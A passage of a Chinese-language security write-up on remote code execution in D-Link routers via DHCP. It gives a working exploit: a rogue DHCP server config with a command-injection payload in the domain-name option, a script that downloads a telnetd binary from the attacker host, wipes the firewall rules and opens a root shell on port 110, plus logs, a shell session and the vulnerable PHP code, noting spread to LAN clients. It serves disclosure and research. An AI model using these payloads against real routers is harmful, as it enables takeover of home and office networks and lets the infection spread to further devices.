range 10.254.239.10 10.254.239.20;
option routers 10.254.239.1;
}
rasp-pwn-dlink# ifconfig eth1
eth1 Link encap:Ethernet HWaddr 00:0e:c6:aa:aa:aa
inet addr:10.254.239.1 Bcast:10.254.239.255 Mask:255.255.255.0
inet6 addr: fe80::20e:caaa:aaaa:aaa/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:129 errors:0 dropped:0 overruns:0 frame:0
TX packets:107 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:11181 (10.9 KiB) TX bytes:49155 (48.0 KiB)
rasp-pwn-dlink# cat /var/www/html/dhcp-rce
#!/bin/sh
wget -O /var/telnetd-dhcpd-wan http://10.254.239.1/dlink-telnetd
chmod 777 /var/telnetd-dhcpd-wan
(for i in 0 1 2 3; do # win races against legit iptables rules
iptables -F
iptables -X
iptables -t nat -F
iptables -t nat -X
iptables -P INPUT ACCEPT
iptables -P OUTPUT ACCEPT
iptables -P FORWARD ACCEPT
sleep 10
done ) &
/var/telnetd-dhcpd-wan -l /bin/sh -p 110 &
rasp-pwn-dlink# dhcpd eth1
Internet Systems Consortium DHCP Server 4.3.1
Copyright 2004-2014 Internet Systems Consortium.
All rights reserved.
For info, please visit https://www.isc.org/software/dhcp/
Config file: /etc/dhcp/dhcpd.conf
Database file: /var/lib/dhcp/dhcpd.leases
PID file: /var/run/dhcpd.pid
Wrote 1 leases to leases file.
Listening on LPF/eth1/00:0e:c6:aa:aa:aa/10.254.239.0/27
Sending on LPF/eth1/00:0e:c6:aa:aa:aa/10.254.239.0/27
Sending on Socket/fallback/fallback-net
rasp-pwn-dlink#
当在启动时做DHCP请求时，路由器连接到远程HTTP服务器的WAN:
rasp-pwn-dlink# tail -f /var/log/nginx/access.log 10.254.239.10 - - [03/Jul/2017:15:40:30 +0000] "GET /dhcp-rce HTTP/1.1" 200 383 "-" "Wget" 10.254.239.10 - - [03/Jul/2017:15:40:30 +0000] "GET /dlink-telnetd HTTP/1.1" 200 10520 "-" "Wget" 10.254.239.10 - - [03/Jul/2017:15:40:30 +0000] "GET /dhcp-rce HTTP/1.1" 200 383 "-" "Wget" 10.254.239.10 - - [03/Jul/2017:15:40:30 +0000] "GET /dlink-telnetd HTTP/1.1" 200 10520 "-" "Wget"
现在皮埃尔得到了一个来自WAN的telnetd:
rasp-pwn-dlink# telnet 10.254.239.10 110 Trying 10.254.239.10... Connected to 10.254.239.10. Escape character is '^]'. BusyBox v1.14.1 (2017-01-20 14:35:27 CST) built-in shell (msh) Enter 'help' for a list of built-in commands. # uname -ap Linux dlinkrouter 2.6.30.9 #1 Fri Jan 20 14:12:50 CST 2017 rlx GNU/Linux # cd /var # ls -la drwxr-xr-x 5 root root 0 Jan 1 00:00 etc drwxr-xr-x 2 root root 0 Jan 1 1970 log drwxr-xr-x 3 root root 0 Jan 1 00:00 run drwxr-xr-x 2 root root 0 Jan 1 1970 sealpac drwxr-xr-x 4 root root 0 Jan 1 00:00 tmp drwxr-xr-x 2 root root 0 Jan 1 1970 dnrd drwxr-xr-x 4 root root 0 Jan 1 1970 htdocs -rw-r--r-- 1 root root 10 Jan 1 1970 TZ drwxr-xr-x 2 root root 0 Jan 1 00:00 servd -rw-r--r-- 1 root root 5588 Jan 1 1970 default_wifi.xml -rw-rw-rw- 1 root root 28 Jan 1 00:00 passwd drwxrwx--- 2 root root 0 Jan 1 00:00 session srwxr-xr-x 1 root root 0 Jan 1 00:00 gpio_ctrl -rw-r--r-- 1 root root 2 Jan 1 00:00 sys_op drwxr-xr-x 2 root root 0 Jan 1 00:00 home lrwxrwxrwx 1 root root 16 Jan 1 00:00 portal_share -> /var/tmp/storage drwxr-xr-x 3 root root 0 Jan 1 00:00 proc -rwxr-xr-x 1 root root 856 Jan 1 00:00 killrc0 drwxr-xr-x 2 root root 0 Jan 1 00:00 porttrigger -rw-r--r-- 1 root root 383 Jan 1 00:00 re -rwxrwxrwx 1 root root 10520 Jan 1 00:00 telnetd-dhcpd-wan -rw-rw-rw- 1 root root 301 Jan 1 00:00 rendezvous.conf -rw-rw-rw- 1 root root 523 Jan 1 00:00 stunnel.conf -rw-rw-rw- 1 root root 282 Jan 1 00:00 topology.conf -rw-rw-rw- 1 root root 394 Jan 1 00:00 lld2d.conf -rw-r--r-- 1 root root 199 Jan 1 00:00 hosts drwxr-xr-x 16 root root 241 Jan 20 2017 .. drwxr-xr-x 14 root root 0 Jan 1 00:00 . # cat re #!/bin/sh wget -O /var/telnetd-dhcpd-wan http://10.254.239.1/dlink-telnetd chmod 777 /var/telnetd-dhcpd-wan (for i in 0 1 2 3; do # win races against legit iptables rules iptables -F iptables -X iptables -t nat -F iptables -t nat -X iptables -P INPUT ACCEPT iptables -P OUTPUT ACCEPT iptables -P FORWARD ACCEPT sleep 10 done ) & /var/telnetd-dhcpd-wan -l /bin/sh -p 110 & #
这个telnetd访问可以从WAN和LAN访问。
漏洞分析
涉及几个WAN RCE漏洞。第一个漏洞是:
/etc/services/INET/inet_ipv4.php
94 $udhcpc_helper = "/var/servd/".$inf."-udhcpc.sh";
你可以在任何地方都实施命令注入：
99 fwrite(w,$udhcpc_helper, 100 '#!/bin/sh\n'. 101 'echo [$0]: $1 $interface $ip $subnet $router $lease $domain $scope $winstype $wins $sixrd_prefix $sixrd_prefixlen $sixrd_msklen $sixrd_bripaddr ... > /dev/console\n'. 102 'phpsh '.$hlper.' ACTION=$1'. 103 ' INF='.$inf. 104 ' INET='.$inet. 105 ' MTU='.$mtu. 106 ' INTERFACE=$interface'. 107 ' IP=$ip'. 108 ' SUBNET=$subnet'. 109 ' BROADCAST=$broadcast'. 110 ' LEASE=$lease'. 111 ' "DOMAIN=$domain"'. 112 ' "ROUTER=$router"'. 113 ' "DNS='.$dns.'$dns"'. 114 ' "CLSSTROUT=$clsstrout"'. 115 ' "MSCLSSTROUT=$msclsstrout"'. 116 ' "SSTROUT=$sstrout"'. 117 ' "SCOPE=$scope"'. 118 ' "WINSTYPE=$winstype"'. 119 ' "WINS=$wins"'. 120 ' "SIXRDPFX=$sixrd_prefix"'. 121 ' "SIXRDPLEN=$sixrd_prefixlen"'. 122 ' "SIXRDMSKLEN=$sixrd_msklen"'. 123 ' "SIXRDBRIP=$sixrd_bripaddr"'. 124 ' "SDEST=$sdest"'. 125 ' "SSUBNET=$ssubnet"'. 126 ' "SROUTER=$srouter"\n'. 127 'exit 0\n' 128 );
正如你所看到的，变量没有被清理过。一种解决方案是使用具有$domain(isc-dhcp中的option domain-name)的注入命令—— /var/servd/$VAR-udhcpc.sh。使用的sh脚本。
将生成WAN-1-udhcpc.sh文件，并由udhcpc(udhcpc -i eth1 -H dlinkrouter -p /var/servd/WAN-1-udhcpc.pid -s /var/servd/WAN-1-udhcpc.sh)调用。
# cat WAN-1-udhcpc.sh #!/bin/sh echo [$0]: $1 $interface $ip $subnet $router $lease $domain $scope $winstype $wins $sixrd_prefix $sixrd_prefixlen $sixrd_msklen $sixrd_bripaddr ... > /dev/console phpsh /etc/services/INET/inet4_dhcpc_helper.php ACTION=$1 INF=WAN-1 INET=INET-3 MTU=1500 INTERFACE=$interface IP=$ip SUBNET=$subnet BROADCAST=$broadcast LEASE=$lease "DOMAIN=$domain" "ROUTER=$router" "DNS=$dns" "CLSSTROUT=$clsstrout" "MSCLSSTROUT=$msclsstrout" "SSTROUT=$sstrout" "SCOPE=$scope" "WINSTYPE=$winstype" "WINS=$wins" "SIXRDPFX=$sixrd_prefix" "SIXRDPLEN=$sixrd_prefixlen" "SIXRDMSKLEN=$sixrd_msklen" "SIXRDBRIP=$sixrd_bripaddr" "SDEST=$sdest" "SSUBNET=$ssubnet" "SROUTER=$srouter" exit 0
因此，使用这个DNS配置将对路由器起作用:
option domain-name "`wget -O /var/re http://10.254.239.1/dhcp-rce ; sh /var/re;`";
在日志中，皮埃尔确认执行:
rasp-pwn-dlink# tail -f /var/log/nginx/access.log 10.254.239.10 - - [03/Jul/2017:15:42:31 +0000] "GET /dhcp-rce HTTP/1.1" 200 383 "-" "Wget" 10.254.239.10 - - [03/Jul/2017:15:42:31 +0000] "GET /dlink-telnetd HTTP/1.1" 200 10520 "-" "Wget"
注意，你还在一些生成的文件(在/var/servd/)中使用;wget -O /var/re http://10.254.239.1/dhcp-rce ; sh /var/re;有效载荷:
# cat /var/servd/DHCPS4.LAN-1_start.sh #!/bin/sh rm -f /var/servd/LAN-1-udhcpd.lease xmldbc -X /runtime/inf:1/dhcps4/leases xmldbc -s /runtime/inf:1/dhcps4/pool/start 192.168.0.100 xmldbc -s /runtime/inf:1/dhcps4/pool/end 192.168.0.199 xmldbc -s /runtime/inf:1/dhcps4/pool/leasetime 604800 xmldbc -s /runtime/inf:1/dhcps4/pool/network 192.168.0.1 xmldbc -s /runtime/inf:1/dhcps4/pool/mask 24 xmldbc -s /runtime/inf:1/dhcps4/pool/domain ;wget -O /var/re http://10.254.239.1/dhcp-rce ; sh /var/re; <--- command injection xmldbc -s /runtime/inf:1/dhcps4/pool/router 192.168.0.1 event UPDATELEASES.LAN-1 add "@/etc/events/UPDATELEASES.sh LAN-1 /var/servd/LAN-1-udhcpd.lease" udhcpd /var/servd/LAN-1-udhcpd.conf & exit 0 exit 0 # # cat /var/servd/DHCPS4.LAN-2_start.sh #!/bin/sh rm -f /var/servd/LAN-2-udhcpd.lease xmldbc -X /runtime/inf:2/dhcps4/leases xmldbc -s /runtime/inf:2/dhcps4/pool/start 192.168.7.100 xmldbc -s /runtime/inf:2/dhcps4/pool/end 192.168.7.199 xmldbc -s /runtime/inf:2/dhcps4/pool/leasetime 604800 xmldbc -s /runtime/inf:2/dhcps4/pool/network 192.168.7.1 xmldbc -s /runtime/inf:2/dhcps4/pool/mask 24 xmldbc -s /runtime/inf:2/dhcps4/pool/domain ;wget -O /var/re http://10.254.239.1/dhcp-rce ; sh /var/re; <--- command injection xmldbc -s /runtime/inf:2/dhcps4/pool/router 192.168.7.1 event UPDATELEASES.LAN-2 add "@/etc/events/UPDATELEASES.sh LAN-2 /var/servd/LAN-2-udhcpd.lease" udhcpd /var/servd/LAN-2-udhcpd.conf & exit 0 exit 0 #
此攻击将通过在路由器内运行的dhcp服务器传递给内部客户端，因此，如果你将一个脆弱的Dlink路由器连接到内部网络，它也会被pwned:
# ps -w|grep dhcpd 6543 root 984 S udhcpd /var/servd/LAN-1-udhcpd.conf 6595 root 984 S udhcpd /var/servd/LAN-2-udhcpd.conf
/runtime/inf:{1,2}/dhcps4/pool/domain入口点位于/var/servd/LAN-{1,2}-udhcpd.conf文件，而该文件包含流氓域值（rogue domain value）:
# cat /var/servd/LAN-1-udhcpd.conf remaining no start 192.168.0.100 end 192.168.0.199 interface br0 lease_file /var/servd/LAN-1-udhcpd.lease pidfile /var/servd/LAN-1-udhcpd.pid force_bcast no opt subnet 255.255.255.0 opt domain ;wget -O /var/re http://10.254.239.1/dhcp-rce ; sh /var/re; ^^^^^^^^^^^^ this domain will be provided to clients connected on the LAN, possibly infecting other dlink routers \o/ opt router 192.168.0.1 opt dns 192.168.0.1 opt lease 604800 dhcp_helper event UPDATELEASES.LAN-1 # cat /var/servd/LAN-2-udhcpd.conf remaining no start 192.168.7.100 end 192.168.7.199 interface br1 lease_file /var/servd/LAN-2-udhcpd.lease pidfile /var/servd/LAN-2-udhcpd.pid force_bcast no opt subnet 255.255.255.0 opt domain ;wget -O /var/re http://10.254.239.1/dhcp-rce ; sh /var/re ^^^^^^^^^^^^ this domain will be provided to clients connected on the LAN, possibly infecting other dlink routers \o/ opt router 192.168.7.1 opt dns 192.168.7.1 opt lease 604800 dhcp_helper event UPDATELEASES.LAN-2 #
十、DDoS漏洞
该漏洞出现在路由器(revA和revB)中运行的一些守护进程可以从LAN远程崩溃，由于它不向黑客提供进一步的远程特权，因此目前还没有详细的分析。
最后
对这10个严重漏洞，D-Link尚未做出回应，并且目前尚不清楚D-Link是否会承认这些漏洞的存在，以及是否打算修复这些漏洞。
原文发布时间为：2017年9月15日
本文作者：xiaohui
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时间： 2024-02-17 04:28:04